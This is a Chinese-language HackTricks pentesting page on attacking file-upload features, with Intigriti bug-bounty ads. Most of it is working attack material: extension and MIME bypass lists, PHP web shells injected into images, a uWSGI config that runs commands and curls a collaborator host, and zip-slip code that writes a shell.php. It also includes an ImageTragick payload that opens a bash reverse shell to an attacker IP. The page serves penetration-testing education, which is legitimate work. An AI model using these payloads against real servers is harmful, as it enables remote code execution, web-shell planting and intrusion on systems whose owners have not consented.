hacktricks/pentesting-web/file-upload
2024-01-01 18:40:45 +00:00
..
pdf-upload-xxe-and-cors-bypass.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:40:45 +00:00

文件上传

从零开始学习AWS黑客攻击直到成为英雄 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

文件上传通用方法论

其他有用的扩展名:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • 在PHPv8中工作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web服务器: .yaws

绕过文件扩展名检查

  1. 如果适用,检查 前面的扩展名。也可以使用一些大写字母测试它们:pHp, .pHP5, .PhAr ...
  2. 在执行扩展名之前添加一个有效的扩展名(使用前面的扩展名):
  • file.png.php
  • file.png.Php5
  1. 尝试在末尾添加特殊字符。您可以使用Burp来暴力破解所有的asciiUnicode字符。(注意,您也可以尝试使用之前提到的扩展名
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. 尝试通过欺骗服务器端的扩展名解析器来绕过保护,例如双重扩展名或在扩展名之间添加垃圾数据空字节)。您还可以使用前面的扩展名来准备更好的有效载荷。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 在前面的检查中添加另一层扩展名
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 尝试将执行扩展名放在有效扩展名之前并祈祷服务器配置错误。用于利用Apache配置错误任何带有扩展名**.php**的东西都会执行代码,但不一定以.php结尾
  • 例如file.php.png
  1. Windows中使用NTFS备用数据流ADS。在这种情况下,在禁止的扩展名后和允许的扩展名前插入一个冒号字符“:”。结果,将在服务器上创建一个带有禁止扩展名的空文件例如“file.asax:.jpg”。稍后可以使用其他技术编辑此文件例如使用其短文件名。还可以使用“::$data”模式创建非空文件。因此在此模式之后添加一个点字符也可能有助于绕过进一步的限制例如。“file.asp::$data.”)
  2. 尝试打破文件名限制。有效的扩展名被截断。恶意的PHP被留下。AAA<--SNIP-->AAA.php
# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# 上传文件并检查响应允许多少字符。假设是236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷
AAA<--SNIP 232 A-->AAA.php.png

绕过Content-Type、魔术数字、压缩和调整大小

  • 通过将Content-Type 设置为:image/png , text/plain , application/octet-stream 来绕过Content-Type检查
  1. Content-Type 词表https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • 通过在文件开头添加真实图像的字节来绕过魔术数字检查混淆_file_命令。或者在元数据中引入shell
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ 或者您也可以直接在图像中引入有效载荷
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 如果对您的图像进行了压缩例如使用一些标准的PHP库PHP-GD,前面的技术将不起作用。然而,您可以使用PLTE块 这里定义的技术来插入一些将经受住压缩的文本。
  • 带有代码的Github
  • 网页也可能在调整图像大小例如使用PHP-GD函数imagecopyresizedimagecopyresampled。然而,您可以使用IDAT块 这里定义的技术来插入一些将经受住压缩的文本。
  • 带有代码的Github
  • 另一种技术可以使有效载荷经受住图像调整大小使用PHP-GD函数thumbnailImage。然而,您可以使用tEXt块 这里定义的技术来插入一些将经受住压缩的文本。
  • 带有代码的Github

其他要检查的技巧

  • 找到一个漏洞来重命名已上传的文件(更改扩展名)。
  • 找到一个本地文件包含漏洞来执行后门。
  • 可能的信息泄露
  1. 多次(并且在同一时间)上传相同的文件,文件名称相同
  2. 上传一个名称已存在的文件文件夹的文件
  3. 上传一个名为**“.”、“..”或“…”的文件。例如,在Windows**中的Apache中如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
  4. 上传一个可能不容易删除的文件,例如在NTFS中的**“…:.jpg”**。Windows
  5. Windows中上传一个文件名中包含无效字符,如|<>*?”的文件。Windows
  6. Windows中上传一个使用保留禁止名称的文件如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
  • 也尝试上传一个可执行文件.exe或一个**.html**(不那么可疑),当受害者不小心打开时将执行代码

特殊扩展名技巧

如果您正在尝试将文件上传到PHP服务器请查看**.htaccess**技巧来执行代码
如果您正在尝试将文件上传到ASP服务器请查看**.config**技巧来执行代码

.phar文件就像java的.jar但适用于php并且可以像php文件一样使用用php执行它或将其包含在脚本中...

.inc扩展名有时用于只用于导入文件的php文件因此有人可能允许此扩展名被执行

Jetty RCE

如果您可以将XML文件上传到Jetty服务器您可以获得因为新的*.xml和*.war会自动处理而导致的RCE 因此如下图所示将XML文件上传到$JETTY_BASE/webapps/并期待shell

uWSGI RCE

如果您可以替换uWSGI服务器的.ini配置文件您可以获得RCE 实际上uWSGI配置文件可以包含使用精确语法定义的“魔法”变量、占位符和操作符。特别是'@'操作符以@(filename)的形式使用用于包含文件的内容。支持许多uWSGI方案包括“exec” - 用于从进程的标准输出中读取。当解析.ini配置文件时这些操作符可以用于远程命令执行或任意文件写入/读取:

恶意uwsgi.ini文件示例:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

配置文件被解析时,有效载荷将被执行。注意,要解析配置,进程需要重新启动崩溃DoS或文件自动重新加载(可能正在使用的一个选项,指示如果发现更改则重新加载文件的秒数)。

**重要提示:**uWSGI对配置文件的解析是宽松的。前面的有效载荷可以嵌入到二进制文件中例如图像PDF等

wget 文件上传/SSRF 技巧

在某些情况下,您可能会发现服务器正在使用**wget下载文件**,并且您可以指示 URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只会下载允许的文件。然而,这种检查可以被绕过。
linux中,文件名最大长度是255,但是,wget会将文件名截断为236个字符。您可以下载一个叫做 "A"*232+".php"+".gif" 的文件,这个文件名将绕过 检查(如在此示例中**".gif"是一个有效的扩展名),但wget会将文件重命名"A"*232+".php"**。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

请注意,您可能想到的另一个选项是绕过这个检查,就是让HTTP服务器重定向到不同的文件这样初始URL将绕过检查但随后wget将下载重定向后的文件并使用新名称。除非使用了参数--trust-server-names,否则这个方法不会起作用,因为wget将下载重定向页面并使用原始URL中指示的文件名

其他资源

工具

  • Upload Bypass 是一个强大的工具旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化了识别和利用漏洞的过程确保对Web应用程序进行彻底评估。

从文件上传到其他漏洞

以下是通过上传可以实现的前10项清单来自链接

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: 存储型XSS / SSRF / XXE
  3. GIF: 存储型XSS / SSRF
  4. CSV: CSV注入
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML注入 / XSS / Open redirect
  8. PNG / JPEG: 像素泛洪攻击DoS
  9. ZIP: 通过LFI实现RCE / DoS
  10. PDF / PPTX: SSRF / 盲XXE

Burp扩展

{% embed url="https://github.com/portswigger/upload-scanner" %}

魔术头字节

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

有关其他文件类型,请参考https://en.wikipedia.org/wiki/List_of_file_signatures

Zip/Tar文件自动解压上传

如果你可以上传一个ZIP文件它将在服务器内部被解压你可以做两件事

符号链接

上传一个包含对其他文件的软链接的链接,然后,访问解压后的文件时,你将访问链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

在不同文件夹解压

解压后的文件将在意料之外的文件夹中创建。

人们很容易认为这种设置可以防止通过恶意文件上传执行操作系统级命令但不幸的是这并非事实。由于ZIP归档格式支持层次化压缩并且我们还可以引用更高级别的目录我们可以通过滥用目标应用程序的解压缩功能从安全的上传目录中逃逸出来。

一个自动化利用这种文件的漏洞的工具可以在这里找到:https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
您还可以使用 **symlink 技巧结合 evilarc**,如果标志位于 `/flag.txt`,确保创建一个**指向该文件的符号链接**并**在您的系统中创建该文件**,这样当您调用 evilarc 时它**不会出错**。

一些创建恶意 zip 文件的 python 代码:
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

为了实现远程命令执行,我采取了以下步骤:

  1. 创建一个PHP shell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. 使用“文件喷洒”技术创建一个压缩的zip文件
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.使用十六进制编辑器或vi并将“xxA”更改为“../”我使用了vi

:set modifiable
:%s/xxA/..\//g
:x!

完成!

只剩下最后一步上传ZIP文件并让应用程序解压它如果成功并且web服务器有足够的权限写入目录系统上将有一个简单的OS命令执行shell

b1

参考资料https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

上传带有图像扩展名的内容来利用漏洞 (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

在PNG中嵌入PHP Shell

将web shell放在IDAT块中的主要原因是它能够绕过调整大小和重采样操作 - PHP-GD包含两个执行此操作的函数 imagecopyresizedimagecopyresampled

阅读这篇文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

多格式文件

在安全上下文中,多格式文件是指同时为多种不同文件类型的有效形式的文件。例如,GIFAR 既是GIF文件也是RAR文件。还有可以同时是GIF和JS、PPT和JS等的文件。

多格式文件常用于绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件例如JPEG、GIF、DOC以防止用户上传潜在危险的文件如JS文件、PHP文件或Phar文件。

这有助于上传一个符合多种不同格式的文件。它可以让你上传一个同时看起来像JPEG的PHAR文件PHp ARchive但你可能仍然需要一个有效的扩展名如果上传功能不允许这将无济于事。

更多信息在:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


漏洞赏金小贴士注册 Intigriti,一个由黑客创建,为黑客服务的优质漏洞赏金平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式